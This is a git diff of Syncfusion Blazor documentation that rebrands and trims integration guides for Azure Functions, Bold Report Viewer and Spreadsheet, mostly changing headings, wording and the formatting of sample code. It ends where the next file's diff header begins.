+++ b/blazor/common/integration/blazor-azure-functions.md
@@ -1,116 +1,37 @@
 ---
 layout: post
-title: Blazor WebAssembly with Azure Functions | Syncfusion
-description: Step-by-step guide to integrate Azure Functions as a serverless backend for Blazor WebAssembly with Syncfusion components (Grid, Scheduler, DatePicker).
+title: Blazor components with Azure Functions | Syncfusion
+description: Step-by-step guide to integrate Azure Functions as a serverless backend for Blazor WebAssembly with Blazor components (Grid, Scheduler, DatePicker).
 platform: Blazor
 control: Common
 documentation: ug
 ---
 
-# Integrating Syncfusion® Blazor Components with Azure Functions
+# Integrating Blazor Components with Azure Functions
 
-This guide shows how to build a Blazor WebAssembly app that uses [Azure Functions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-overview) as a serverless backend and integrates Syncfusion Blazor components such as [DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid), [Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler), [DatePicker](https://www.syncfusion.com/blazor-components/blazor-datepicker). It covers local development setup, security options such as Function keys, calling functions from Blazor, CORS configuration, error handling, and a complete working example with an orders list and a scheduler view.
+This guide explains how to integrate [Blazor components](https://www.syncfusion.com/blazor-components) with [Azure Functions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-overview) as a serverless backend in a Blazor WebAssembly application.
 
-## What is Azure Functions?
-
-Azure Functions is a serverless compute service designed to run small pieces of code (functions) without managing infrastructure. Azure automatically handles hosting, scaling, and execution. Functions run on demand triggered by HTTP requests, timers, queues, or other Azure events, making them ideal for lightweight APIs, background tasks, and event-driven workflows.
-
-## Why use Azure Functions with Blazor?
-
-Azure Functions scale independently from the UI and require minimal operational overhead, making them ideal for small backend APIs to serve Blazor WebAssembly. They integrate well with Syncfusion components like DataGrid and Scheduler by exposing lightweight HTTP endpoints that return JSON.
-
-## Secure Azure Functions
-
-For production applications, use **Microsoft Entra ID** for token based, per user authorization and auditing. Function keys are intended for development, testing, and trusted internal workflows, and should not be used in production client authentication.
-
-Azure Functions supports two authorization approaches:
-* **Function-level authorization (Function Keys):** Simple shared secrets passed via query parameters or headers and is suitable for development and internal automation only.
-* **Microsoft Entra ID / EasyAuth:** Token based authentication with per user authorization, auditing, and managed identities and is recommended for production environments.
-
-EasyAuth (App Service Authentication) lets Azure validate tokens for you. For server-side validation in isolated worker functions use `Microsoft.IdentityModel.Tokens`. EasyAuth can validate tokens at platform level so your functions don't need to parse JWTs.
-
-### Function-level authorization
-
-Function keys are simple shared secrets passed via `?code=` or the `x-functions-key` header, but they offer no user identity or fine-grained access control, so they shouldn’t be used as production level authorization. Reserve Function Keys for trusted server-to-server or internal automation workflows.
-
-**Examples: How Function Keys are sent to Azure Functions**
-
-When calling an Azure Function that uses Function-level authorization, the Function Key must be sent with every request. Azure Functions supports two common ways to send the key:
-
-* Query string
-* HTTP header
-
-**1. Using a Query String**
-
- In this approach, the Function Key is added directly to the URL using the code `query` parameter.
-
-```c#
-
- GET "/api/orders?code=YOUR_FUNCTION_KEY"
-
-```
-
-**2. Using an HTTP Header**
-
-In this approach, the Function Key is sent in a request header called `x-functions-key`.
-
-{% tabs %}
-{% highlight cs tabtitle="Program.cs" %}
-
-builder.Services.AddScoped(sp => {
-  var client = new HttpClient { BaseAddress = new Uri("http://localhost:7071/") };
-  client.DefaultRequestHeaders.Add("x-functions-key", Environment.GetEnvironmentVariable("FUNCTION_KEY") ?? "YOUR_FUNCTION_KEY");
-  return client;
-});
-
-{% endhighlight %}
-{% endtabs %}
-
-**Blazor HttpClient: Add HTTP Header before a request**
-
-Instead of configuring it globally, you can add the Function Key only when making a specific request.
-
-```c#
-
-var req = new HttpRequestMessage(HttpMethod.Get, "/api/orders?...");
-req.Headers.Add("x-functions-key", "YOUR_FUNCTION_KEY");
-await Http.SendAsync(req);
-
-```
-
-For production, Microsoft Entra ID and managed identities provide better security than Function Keys.
-
-### EasyAuth / Microsoft Entra ID
-
-Register an application in Microsoft Entra ID and configure the Function App Authentication provider (EasyAuth) to require tokens, or keep EasyAuth off and validate JWTs inside functions with `Microsoft.IdentityModel.Tokens`. For production, Microsoft Entra ID and managed identities provide better security than Function Keys.
-
-Use EasyAuth (platform) for standard token validation and validate JWTs in function when you need custom claims or fine‑grained checks.
-
-## Working with Function Apps in a real‑world Blazor app
-
-This sample exposes `GET /api/orders` and `POST /api/orders`. The Blazor page uses `DatePicker` to select date ranges, `DataGrid` to list orders, `Scheduler` to show order events. Keep functions single purpose, persist real data in storage, and enable Application Insights for telemetry.
-
-### Prerequisites
+## Prerequisites
 
 * [.NET SDK](https://dotnet.microsoft.com/en-us/download/visual-studio-sdks) (version 8.0 or later, this guide uses .NET 10.0)
 * [Azure Functions Core Tools](https://learn.microsoft.com/en-us/azure/azure-functions/functions-run-local) (version 4.x or later)
 * [Azure CLI](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli-windows?view=azure-cli-latest&pivots=msi#install-or-update)
 * [Visual Studio](https://visualstudio.microsoft.com/downloads/) 2022 or later or [Visual Studio Code](https://code.visualstudio.com/) with [C# Dev Kit](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit) extension
 
-Ensure the .NET SDK and Azure Functions Core Tools are compatible. Refer to the [Azure Functions supported versions](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) to verify compatibility for your environment.
+Ensure the .NET SDK and Azure Functions Core Tools are compatible with each other. Refer to the [Azure Functions supported versions](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) to verify compatibility for your environment.
 
-### Create solution and projects
+## Create the projects
 
-In this section, you will create a single solution that contains:
+In this section, you will create two projects:
 
 * A Blazor WebAssembly (WASM) client application.
 * An Azure Functions project using the isolated worker model.
 
-Keeping both projects in one solution makes development and debugging easier.
+Keeping both projects in the same folder makes development and debugging easier. Run the commands from your terminal in a new, empty directory.
 
 **Step 1: Create the Blazor WebAssembly client project**
 
-Run the following command to create a Blazor WebAssembly application named Client.
+Run the following command to create a Blazor WebAssembly application named **Client**.
 
 {% tabs %}
 {% highlight bash tabtitle=".NET CLI" %}
@@ -122,7 +43,7 @@ dotnet new blazorwasm -o Client -f net10.0
 
 **Step 2: Create the Azure Functions project (isolated worker)**
 
-Create an Azure Functions project named Functions using the isolated worker model, then add an HTTP triggered function.
+Create an Azure Functions project named **Functions** using the isolated worker model, then add an HTTP triggered function.
 
 {% tabs %}
 {% highlight bash tabtitle="CLI" %}
@@ -134,73 +55,32 @@ func new --name OrdersApi --template "HTTP trigger" --authlevel function
 {% endhighlight %}
 {% endtabs %}
 
-**Step 3: Create a solution and add both projects**
-
-Return to the root folder and create a solution file to manage both projects.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-cd ..
-dotnet new sln -n BlazorFunctions
-dotnet sln add Client/Client.csproj
-dotnet sln add Functions/Functions.csproj
+## Install required NuGet packages
 
-{% endhighlight %}
-{% endtabs %}
-
-### Install required NuGet packages
+Install required packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-**Syncfusion packages:**
+**Syncfusion® packages:**
 
-Navigate to the Blazor WASM project and install the necessary Syncfusion packages.
+Navigate into the Blazor WASM project (`Client`) directory and install the necessary Blazor packages.
 
 * [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
 * [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule)
 * [Syncfusion.Blazor.Calendars](https://www.nuget.org/packages/Syncfusion.Blazor.Calendars)
 * [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
 
-Alternatively, you can install the required packages by using the following .NET CLI commands.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-cd Client
-dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Schedule -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Calendars -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-cd ..
-
-{% endhighlight %}
-{% endtabs %}
-
 **Microsoft packages:**
 
-Install the necessary packages for isolated worker runtime Azure Functions with HTTP triggers.
+Navigate to the Functions project and install the necessary packages for isolated worker runtime Azure Functions with HTTP triggers.
 
 * [Microsoft.Azure.Functions.Worker](https://www.nuget.org/packages/Microsoft.Azure.Functions.Worker)
 * [Microsoft.Azure.Functions.Worker.Extensions.Http](https://www.nuget.org/packages/Microsoft.Azure.Functions.Worker.Extensions.Http)
 
-Alternatively, you can install the required packages by using the following .NET CLI commands.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-cd Functions
-dotnet add package Microsoft.Azure.Functions.Worker
-dotnet add package Microsoft.Azure.Functions.Worker.Extensions.Http
-cd ..
-
-{% endhighlight %}
-{% endtabs %}
-
-### Add required namespaces
+## Add required namespaces
 
 Open the `Client/_Imports.razor` file from WASM project and import the below namespaces.
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight razor tabtitle="Client/_Imports.razor" %}
 
 @using Syncfusion.Blazor
 @using Syncfusion.Blazor.Grids
@@ -210,19 +90,17 @@ Open the `Client/_Imports.razor` file from WASM project and import the below nam
 {% endhighlight %}
 {% endtabs %}
 
-### Register Syncfusion® Blazor service
+## Register Blazor service
 
-Add the Syncfusion Blazor service to the `Client/Program.cs` file to enable Syncfusion components in the application.
+Add the Blazor service to the `Client/Program.cs` file to enable Blazor components in the application.
 
 {% tabs %}
 {% highlight cs tabtitle="Program.cs" %}
 
 using Syncfusion.Blazor;
-
 ...
 builder.Services.AddSyncfusionBlazor();
 // For production: read base address from configuration
-// builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.Configuration["FunctionsBaseUrl"]!) });
 builder.Services.AddScoped(sp => new HttpClient {  BaseAddress = new Uri("http://localhost:7071/") });
 
 {% endhighlight %}
@@ -230,30 +108,34 @@ builder.Services.AddScoped(sp => new HttpClient {  BaseAddress = new Uri("http:/
 
 N> The `BaseAddress` is set to `http://localhost:7071/` for local development. In production, update this to your Azure Function App URL (e.g., `https://myapp.azurewebsites.net`). Consider reading this from configuration.
 
-### Add stylesheet and script resources
+## Add stylesheet and script resources
 
-Add the Syncfusion theme CSS and required scripts to the `wwwroot/index.html` file from WASM project.
+Add the Blazor theme CSS and required scripts to the `wwwroot/index.html` file from WASM project.
 
 {% tabs %}
 {% highlight html  %}
 
 <head>
-     <!-- Syncfusion theme style sheet -->
+    ...
+    <!-- Blazor theme stylesheet -->
     <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+    ...
 </head>
 <body>
-    <!-- Syncfusion Blazor component's script reference -->
+    ...
+    <!-- Blazor core script (required for UI components) -->
     <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
+    ...
 </body>
 
 {% endhighlight %}
 {% endtabs %}
 
-### Implement simple Azure Functions endpoints
+## Implement simple Azure Functions endpoints
 
-This example shows two minimal HTTP triggered functions: GET `/api/orders` returns demo orders filtered by optional from/to query parameters (format yyyy‑MM‑dd), and POST `/api/orders` accepts and echoes a JSON payload. These functions include development-only CORS handling and basic logging. Configure CORS and authentication in Azure for production.
+This example shows two minimal HTTP triggered functions. The GET `/api/orders` returns demo orders filtered by optional from and to query parameters (format yyyy‑MM‑dd), and POST `/api/orders` accepts and echoes a JSON payload. These functions include development-only CORS handling and basic logging. Configure CORS and authentication in Azure for production.
 
-Add the following file to your Azure Functions project (e.g., `OrdersApi.cs`):
+Add the following file to your Azure Functions project (e.g., `OrdersApi.cs`).
 
 {% tabs %}
 {% highlight cs tabtitle="OrdersApi.cs" %}
@@ -294,42 +176,36 @@ public static class OrdersApi
 
         // Parse optional query parameters (expected yyyy-MM-dd)
         DateTime? from = null; DateTime? to = null;
-        try
-        {
+        try {
             var query = (req.Url.Query ?? string.Empty).TrimStart('?');
             if (!string.IsNullOrEmpty(query))
             {
                 var pairs = query.Split('&', StringSplitOptions.RemoveEmptyEntries);
-                foreach (var p in pairs)
+                foreach (var pair in pairs)
                 {
-                    var kv = p.Split('=', 2);
-                    if (kv.Length == 0) continue;
-                    var key = WebUtility.UrlDecode(kv[0]).Trim();
-                    var val = kv.Length > 1 ? WebUtility.UrlDecode(kv[1]).Trim() : string.Empty;
-                    if (string.Equals(key, "from", StringComparison.OrdinalIgnoreCase) && DateTime.TryParseExact(val, "yyyy-MM-dd", CultureInfo.InvariantCulture, DateTimeStyles.AssumeUniversal, out var f))
-                        from = f.Date;
-                    if (string.Equals(key, "to", StringComparison.OrdinalIgnoreCase) && DateTime.TryParseExact(val, "yyyy-MM-dd", CultureInfo.InvariantCulture, DateTimeStyles.AssumeUniversal, out var t))
-                        to = t.Date;
+                    var pair_value = pair.Split('=', 2);
+                    if (pair_value.Length == 0) continue;
+                    var key = WebUtility.UrlDecode(pair_value[0]).Trim();
+                    var val = pair_value.Length > 1 ? WebUtility.UrlDecode(pair_value[1]).Trim() : string.Empty;
+                    if (string.Equals(key, "from", StringComparison.OrdinalIgnoreCase) && DateTime.TryParseExact(val, "yyyy-MM-dd", CultureInfo.InvariantCulture, DateTimeStyles.AssumeUniversal, out var from_date))
+                        from = from_date.Date;
+                    if (string.Equals(key, "to", StringComparison.OrdinalIgnoreCase) && DateTime.TryParseExact(val, "yyyy-MM-dd", CultureInfo.InvariantCulture, DateTimeStyles.AssumeUniversal, out var to_date))
+                        to = to_date.Date;
                 }
             }
-        }
-        catch
-        {
-            // ignore parse errors and return unfiltered results
+        } catch {
+            // Ignore parse errors and return unfiltered results
         }
 
-        var orders = allOrders.Where(o =>
-            (!from.HasValue || o.Date.Date >= from.Value) &&
-            (!to.HasValue || o.Date.Date <= to.Value)).ToArray();
+        var orders = allOrders.Where(order =>
+            (!from.HasValue || order.Date.Date >= from.Value) &&
+            (!to.HasValue || order.Date.Date <= to.Value)).ToArray();
 
-        try
-        {
+        try {
             var logger = ctx.GetLogger("GetOrders");
             logger.LogInformation($"Returning {orders.Length} orders (from={from?.ToString("yyyy-MM-dd") ?? ""}, to={to?.ToString("yyyy-MM-dd") ?? ""})");
-        }
-        catch
-        {
-            // ignore logging failures
+        } catch {
+            // Ignore logging failures
         }
 
         var resp = req.CreateResponse(HttpStatusCode.OK);
@@ -355,25 +231,13 @@ public static class OrdersApi
 
         var body = await new StreamReader(req.Body).ReadToEndAsync();
         object? order = null;
-        try
-        {
+        try {
             order = JsonSerializer.Deserialize<object>(body);
-        }
-        catch
-        {
-            // keep behavior: if deserialization fails, return the raw body as string
+        } catch {
+            // Keep behavior: if deserialization fails, return the raw body as a string
             order = body;
         }
 
-        try
-        {
-            var logger = ctx.GetLogger("PostOrder");
-            logger.LogInformation("Received PostOrder request");
-        }
-        catch
-        {
-        }
-
         var resp = req.CreateResponse(HttpStatusCode.Created);
         resp.Headers.Add("Access-Control-Allow-Origin", "*");
         await resp.WriteStringAsync(JsonSerializer.Serialize(order));
@@ -394,9 +258,9 @@ public static class OrdersApi
 
 N> The above code example uses `Access-Control-Allow- : *` for development convenience only. In production, replace `"*"` with your Blazor client's origin (e.g., `https://myapp.azurewebsites.net`) in *Azure Portal → Function App → API → CORS*. Never use wildcards in production.
 
-### Create the Blazor page using Syncfusion® components
+## Integrating Blazor components in the application
 
-This example demonstrates using Syncfusion components: Two [DatePicker](https://www.syncfusion.com/blazor-components/blazor-datepicker) components to choose a range, a [DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) to list orders, and a [Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) to show events.
+This example demonstrates the use of components, including a [Blazor DatePicker](https://www.syncfusion.com/blazor-components/blazor-datepicker) to select a date range, a [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) to display orders, and a [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) to present events.
 
 The page expects `HttpClient` to be configured with the Azure Functions host URL as its BaseAddress. It uses JSON data returned from the Functions API to populate both the grid and the scheduler. The sample injects the `HttpClient` instance that was registered earlier in `Program.cs` where the `BaseAddress` points to the Azure Functions host.
 
@@ -439,14 +303,13 @@ Add the following Razor page to your Blazor WebAssembly project.
   private DateTime? From = DateTime.Today.AddDays(-7);
   private DateTime? To = DateTime.Today;
   class Order { public int Id { get; set; } public DateTime Date { get; set; } public string? Customer { get; set; } public double Total { get; set; } }
-  // Use property names expected by Syncfusion Schedule (StartTime/EndTime/Subject)
+  // Use property names expected by Blazor Schedule (StartTime/EndTime/Subject)
   class EventItem { public DateTime StartTime { get; set; } public DateTime EndTime { get; set; } public string? Subject { get; set; } }
 
   private async Task Load()
   {
-    try
-    {
-      // Bypass authentication for local development (no auth required with AuthorizationLevel.Function and a valid code parameter)
+    try {
+      // For local development: AuthorizationLevel.Function requires only a function key.
       // For production with Microsoft Entra ID, add: Http.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", token);
       Http.DefaultRequestHeaders.Authorization = null;
       // Try common development ports: 7071 for Azure Functions, 5298 for Blazor client.
@@ -456,10 +319,9 @@ Add the following Razor page to your Blazor WebAssembly project.
       bool found = false;
       foreach (var port in portsToTry)
       {
-        //This port used testing only. In production, use HttpClient BaseAddress from configuration.
+        // This port is for testing only. In production, use HttpClient BaseAddress from configuration.
         var tryUrl = $"http://localhost:{port}/api/orders?from={From:yyyy-MM-dd}&to={To:yyyy-MM-dd}";
-        try
-        {
+        try {
           resp = await Http.GetAsync(tryUrl);
           body = await resp.Content.ReadAsStringAsync();
           if (resp.IsSuccessStatusCode)
@@ -467,22 +329,17 @@ Add the following Razor page to your Blazor WebAssembly project.
             var trimmed = (body ?? string.Empty).TrimStart();
             if (trimmed.StartsWith("[") || trimmed.StartsWith("{"))
             {
-              // valid JSON response
-              try
-              {
+              // Valid JSON response
+              try {
                 OrdersList = System.Text.Json.JsonSerializer.Deserialize<List<Order>>(trimmed) ?? new List<Order>();
                 found = true;
                 break;
-              }
-              catch (Exception jex)
-              {
+              } catch (Exception jex) {
                 Console.WriteLine($"JSON parse failed from {tryUrl}: {jex}");
               }
             }
           }
-        }
-        catch (Exception e)
-        {
+        } catch (Exception e) {
           Console.WriteLine($"Request to {tryUrl} failed: {e.Message}");
         }
       }
@@ -491,11 +348,9 @@ Add the following Razor page to your Blazor WebAssembly project.
       {
         OrdersList = new List<Order>();
       }
-      EventItems = OrdersList.Select(o => new EventItem { StartTime = o.Date, EndTime = o.Date.AddHours(1), Subject = $"{o.Customer} ({o.Total:C2})" }).ToList();
+      EventItems = OrdersList.Select(order => new EventItem { StartTime = order.Date, EndTime = order.Date.AddHours(1), Subject = $"{order.Customer} ({order.Total:C2})" }).ToList();
       StateHasChanged();
-    }
-    catch (Exception ex)
-    {
+    } catch (Exception ex) {
       Console.WriteLine($"Load failed: {ex}");
     }
   }
@@ -537,11 +392,10 @@ dotnet run
 * Select a date range and click **Load**.
 * The grid below populates with demo orders, and the schedule shows events (one per order).
 
-
 ![Blazor components with Azure Function](./images/azure-functions.webp)
 
 ## See also
 
-* [Getting started with Syncfusion DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started)
-* [Getting started with Syncfusion Scheduler](https://blazor.syncfusion.com/documentation/scheduler/getting-started)
-* [Getting started with Syncfusion DatePicker](https://blazor.syncfusion.com/documentation/datepicker/getting-started)
+* [Getting started with Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started)
+* [Getting started with Blazor Scheduler](https://blazor.syncfusion.com/documentation/scheduler/getting-started)
+* [Getting started with Blazor DatePicker](https://blazor.syncfusion.com/documentation/datepicker/getting-started)
diff --git a/blazor/common/integration/blazor-datagrid-boldreports.md b/blazor/common/integration/blazor-datagrid-boldreports.md
index c2090715bf..86fa9ddce2 100644
--- a/blazor/common/integration/blazor-datagrid-boldreports.md
+++ b/blazor/common/integration/blazor-datagrid-boldreports.md
@@ -1,15 +1,15 @@
 ---
 layout: post
-title: Integrate Syncfusion Blazor DataGrid with Bold Report Viewer
-description: Step-by-step guide to integrate the Syncfusion Blazor DataGrid component and the Bold Reports Report Viewer in a Blazor application.
+title: Integrate Blazor DataGrid with Bold Report Viewer | Syncfusion
+description: Complete step-by-step guide to integrate Blazor DataGrid and Spreadsheet components for seamless data handling and interactive web applications.
 platform: Blazor
 control: Common
 documentation: ug
 ---
 
-# Integrating Syncfusion® Blazor DataGrid with Bold Report Viewer
+# Integrating Blazor DataGrid with Bold Report Viewer
 
-This guide explains how to integrate the [Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) with the [Bold Report Viewer](https://www.boldreports.com/) to display grid data inside RDLC reports. This enables scenarios such as exporting grid data, generating printable reports, and providing data‑driven visualizations directly from a Blazor application.
+This guide explains how to integrate the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) with the [Bold Report Viewer](https://www.boldreports.com/) to display grid data inside RDLC reports. This enables scenarios such as exporting grid data, generating printable reports, and providing data‑driven visualizations directly from a Blazor application.
 
 If you haven't created your Blazor app yet, follow the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) to create a project.
 
@@ -43,9 +43,9 @@ Open the `~Components/_Imports.razor` file and import the `Syncfusion.Blazor`, `
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+## Register Blazor service
 
-Add the Syncfusion Blazor service to the `~/Program.cs` file to enable Syncfusion components in the application.
+Add the Blazor service to the `~/Program.cs` file to enable Blazor components in the application.
 
 {% tabs %}
 {% highlight razor tabtitle="~/Program.cs" hl_lines="2 5 6 7 9 12 13 14" %}
@@ -71,21 +71,21 @@ app.Run();
 
 ## Add stylesheet and script resources
 
-Add the Syncfusion theme CSS and required scripts to the `~/Components/App.razor` file. The Bold Report Viewer requires its specific script in addition to the core script.
+Add theme CSS and required scripts to the `~/Components/App.razor` file. The Bold Report Viewer requires its specific script in addition to the core script.
 
 {% tabs %}
 {% highlight html  %}
 
 <head>
-     <!-- Syncfusion theme style sheet -->
+     <!-- Blazor theme style sheet -->
     <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
     <!-- Bold Report Viewer CSS -->
     <link href="https://cdn.boldreports.com/12.2.6/content/v2.0/tailwind-light/bold.report-viewer.min.css" rel="stylesheet" />
 </head>
 <body>
-    <!-- Syncfusion Blazor DataGrid component's script reference -->
+    <!-- Blazor DataGrid component's script reference -->
     <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
-    <!-- Syncfusion Blazor Bold Report Viewer script reference-->
+    <!-- Blazor Bold Report Viewer script reference-->
     <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
     <script src="https://cdn.boldreports.com/12.2.6/scripts/v2.0/common/bold.reports.common.min.js"></script>
     <script src="https://cdn.boldreports.com/12.2.6/scripts/v2.0/common/bold.reports.widgets.min.js"></script>
@@ -97,8 +97,6 @@ Add the Syncfusion theme CSS and required scripts to the `~/Components/App.razor
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion provides multiple theme variants, allowing selection of the theme that best aligns with the application's UI design. Additional theme options and customization details are available in the [theming documentation](https://blazor.syncfusion.com/documentation/appearance/themes).
-
 ## Add a sample report
 
 ### Create interop file
@@ -553,7 +551,7 @@ Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (m
 
 ## Use cases
 
-The integration of the Syncfusion® Blazor DataGrid with RDLC reporting enables seamless data interaction and on‑demand report generation within Blazor applications. This combination is ideal for applications that require real‑time reporting based on user‑selected or filtered grid data.
+The integration of the Blazor DataGrid with RDLC reporting enables seamless data interaction and on‑demand report generation within Blazor applications. This combination is ideal for applications that require real‑time reporting based on user‑selected or filtered grid data.
 
 ### Order processing and invoice generation
 
diff --git a/blazor/common/integration/blazor-grid-with-spreadsheet.md b/blazor/common/integration/blazor-grid-with-spreadsheet.md
index 02f8a059ae..10865e0696 100644
--- a/blazor/common/integration/blazor-grid-with-spreadsheet.md
+++ b/blazor/common/integration/blazor-grid-with-spreadsheet.md
@@ -1,22 +1,22 @@
 ---
 layout: post
-title: Syncfusion® Blazor Spreadsheet and DataGrid Integration
-description: Step-by-step guide to integrating the Syncfusion Blazor Spreadsheet and DataGrid in Blazor applications.
+title: Blazor Spreadsheet and DataGrid Integration | Syncfusion
+description: Complete step-by-step guide to integrate Blazor DataGrid and Spreadsheet components for seamless data handling and interactive web applications.
 platform: Blazor
 control: Common
 documentation: ug
 
 ---
 
-# Integrating Syncfusion® Blazor DataGrid with Spreadsheet
+# Integrating Blazor DataGrid with Spreadsheet
 
-This guide demonstrates how to integrate the [Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) with the [Syncfusion® Blazor Spreadsheet](https://www.syncfusion.com/spreadsheet-editor-sdk/blazor-spreadsheet-editor) component to enable a data workflow within a Blazor application.
+This guide demonstrates how to integrate the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) with the [Blazor Spreadsheet](https://www.syncfusion.com/spreadsheet-editor-sdk/blazor-spreadsheet-editor) component to enable a data workflow within a Blazor application.
 
 The workflow includes exporting grid data to an Excel file, opening the file through Spreadsheet UI, and performing interactive editing.
 
 If you haven't created your Blazor app yet, follow the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) to create a project.
 
-## Install required Syncfusion<sup style="font-size:70%">&reg;</sup> packages
+## Install required packages
 
 To add the Blazor DataGrid and Spreadsheet components to the app, open the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search for and install the NuGet packages listed below.
 
@@ -38,9 +38,9 @@ Open the `~Components/_Imports.razor` file and import the `Syncfusion.Blazor`, `
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+## Register Blazor service
 
-Add the Syncfusion Blazor service to the `~/Program.cs` file to enable Syncfusion components in the application.
+Add the Blazor service to the `~/Program.cs` file to enable Blazor components in the application.
 
 {% tabs %}
 {% highlight razor tabtitle="~/Program.cs" hl_lines="1 6" %}
@@ -60,27 +60,25 @@ app.Run();
 
 ## Add stylesheet and script resources
 
-Add the Syncfusion theme CSS and required scripts to the `~/Components/App.razor` file. The Spreadsheet requires its specific script in addition to the core script. 
+Add theme CSS and required scripts to the `~/Components/App.razor` file. The Spreadsheet requires its specific script in addition to the core script. 
 
 {% tabs %}
 {% highlight html  %}
 
 <head>
-     <!-- Syncfusion theme style sheet -->
+     <!-- Blazor theme style sheet -->
     <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
 </head>
 <body>
-    <!-- Syncfusion Blazor DataGrid component's script reference -->
+    <!-- Blazor DataGrid component's script reference -->
     <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
-    <!-- Syncfusion Blazor Spreadsheet component's script reference-->
+    <!-- Blazor Spreadsheet component's script reference-->
     <script src="_content/Syncfusion.Blazor.Spreadsheet/scripts/syncfusion-blazor-spreadsheet.min.js"></script>
 </body>
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion provides multiple theme variants, allowing selection of the theme that best aligns with the application's UI design. Additional theme options and customization details are available in the [theming documentation](https://blazor.syncfusion.com/documentation/appearance/themes).
-
 ## Integrating DataGrid and Spreadsheet
 
 Add Spreadsheet and DataGrid component into the any `.razor` file.  
@@ -155,7 +153,7 @@ The following example displays a **DataGrid** with sample data, exports to Excel
 
 ## Run the application
 
-Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This renders the Syncfusion Blazor DataGrid, Spreadsheet components in the default web browser.
+Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This renders the Blazor DataGrid, Spreadsheet components in the default web browser.
 
 **Expected behavior**
 * DataGrid renders with sample records.
@@ -168,7 +166,7 @@ Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (m
 
 ## Use cases
 
-The integration of the Syncfusion® Blazor DataGrid with the Spreadsheet component enables a smooth transition from structured data visualization to flexible, Excel‑like editing. This workflow allows users to review, filter, and select records in the DataGrid and then perform advanced data manipulation in the Spreadsheet without leaving the application.
+The integration of the Blazor DataGrid with the Spreadsheet component enables a smooth transition from structured data visualization to flexible, Excel‑like editing. This workflow allows users to review, filter, and select records in the DataGrid and then perform advanced data manipulation in the Spreadsheet without leaving the application.
 
 ### Financial adjustments and calculations
 
@@ -192,7 +190,7 @@ Allow users to filter and organize business data in the DataGrid before exportin
 
 ## See also
 
-* [Getting started with Syncfusion Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-server-app)
-* [Getting started with Syncfusion Blazor Spreadsheet](https://help.syncfusion.com/document-processing/excel/spreadsheet/blazor/getting-started-webapp)
+* [Getting started with Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-server-app)
+* [Getting started with Blazor Spreadsheet](https://help.syncfusion.com/document-processing/excel/spreadsheet/blazor/getting-started-webapp)
 
- 
\ No newline at end of file
+ 
diff --git a/blazor/common/integration/blazor-with-document-editor.md b/blazor/common/integration/blazor-with-document-editor.md
index 65cab007c1..2487f1413f 100644
